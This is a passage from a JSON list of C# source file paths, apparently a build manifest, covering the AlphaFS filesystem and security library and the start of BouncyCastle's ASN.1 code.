Class\\File.IsLockedTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Open.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenBackupReadTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenReadTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWrite.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.OpenWriteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllBytesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ReadLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.Replace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.SetAttributesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.ThrowIOExceptionIfFsoExist.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllBytesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLines.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllLinesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File.WriteAllTextTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileIdBothDirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Compression\\FileInfo.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.CopyToMoveToCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo CopyToMoveTo\\FileInfo.MoveTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo Encryption\\FileInfo.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.AppendText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.CreateText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.GetHash.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.IsLocked.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Open.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenRead.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenText.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.OpenWrite.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.RefreshEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.Replace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileInfo Class\\FileInfo.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FileSystemInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\FindFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\KernelTransaction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\AlternateDataStreamInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupFileStream.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\BackupStreamInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\LinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Link Stream\\SymbolicLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.BackupStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DeviceManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DirectoryManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.DiskManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.EncryptedFileRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.FileManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Handles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.KernelTransactions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.PathManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Shell32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.Utilities.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Methods\\NativeMethods.VolumeManagement.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\BY_HANDLE_FILE_INFORMATION.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\COPY_FILE_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILETIME.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_BASIC_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_BOTH_DIR_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_ID_INFO.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FILE_INFO_BY_HANDLE_CLASS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FINDEX_SEARCH_OPS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\FIND_FIRST_EX_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\GET_FILEEX_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MountPointReparseBuffer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\MOVE_FILE_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\ReparseDataBufferHeader.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\REPARSE_DATA_BUFFER.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVICE_INTERFACE_DETAIL_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SP_DEVINFO_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ATTRIBUTE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_ID.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\STREAM_INFO_LEVELS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\SymbolicLinkReparseBuffer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\VOLUME_INFO_FLAGS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FILE_ATTRIBUTE_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_FIND_STREAM_DATA.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Native Other\\WIN32_STREAM_ID.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.AddTrailingDirectorySeparatorCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.CombineCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetDirectoryNameWithoutRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetExtensionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFileNameWithoutExtensionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFinalPathNameByHandleCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetFullPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetLongShort83PathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetPathRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetRegularPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetSuffixedDirectoryNameWithoutRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.GetTempPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsPathRootedCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.IsUncPathCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.LocalToUncCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path Core Methods\\Path.RemoveTrailingDirectorySeparatorCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.AddTrailingDirectorySeparator.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.ChangeExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Combine.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetDirectoryNameWithoutRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFileNameWithoutExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFinalPathNameByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidFileNameChars.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidPathChars.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetPathRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRandomFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRegularPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRelativePath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83Path.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83PathTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.HasExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Helpers.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLogicalDrive.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLongPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsPathRooted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsUncPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsValidName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.LocalToUnc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.RemoveTrailingDirectorySeparator.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Shell32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Shell32Info.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressCallbackReason.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressResult.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DeviceGuid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DiGetClassFlags.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationFilters.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DosDeviceAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\EncryptedFileRawMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ErrorMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ExtendedFileAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileEncryptionStatus.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FinalPathFormats.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\GetFullPathOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\MoveOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\PathFormat.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ReparsePointTag.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SetupDiGetDeviceRegistryPropertyEnum.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamAttribute.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamId.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkTarget.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\NativeError.cs"},{"SourceFile":"3rdParty\\AlphaFS\\OperatingSystem.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Resources.Designer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeCmConnectMachineHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeEncryptedFileRawHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindFileHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeMountPointHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeGlobalMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeKernelTransactionHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeLocalMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeNativeMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeSetupDiClassDevsExHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeTokenHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\Crc32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\Crc64.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\HashType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\InternalPrivilegeEnabler.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.AdjustTokenPrivileges.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetNamedSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorDacl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorGroup.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorLength.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorOwner.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorSacl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetTokenInformation.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LocalFree.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeDisplayName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeValue.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.OpenProcessToken.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetNamedSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\Luid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_DESCRIPTOR_CONTROL.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_INFORMATION.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SE_OBJECT_TYPE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_ELEVATION_TYPE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_INFORMATION_CLASS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_PRIVILEGES.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Privilege.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\PrivilegeEnabler.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\ProcessContext.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\SecurityAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Utils.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Win32Errors.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Encodable.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1EncodableVector.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Exception.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1InputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Null.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Object.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1ParsingException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Sequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1SequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Set.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1SetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1StreamParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObjectParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Tags.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecific.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecificParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerBitString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerTaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerTaggedObjectParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\ConstructedOctetStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\cryptopro\\CryptoProObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DefiniteLengthInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerApplicationSpecific.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBitString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBmpString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBoolean.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerEnumerated.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerExternal.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerExternalParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGeneralizedTime.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGeneralString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGraphicString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerIA5String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerInteger.cs"},{"SourceFile":"3rdParty\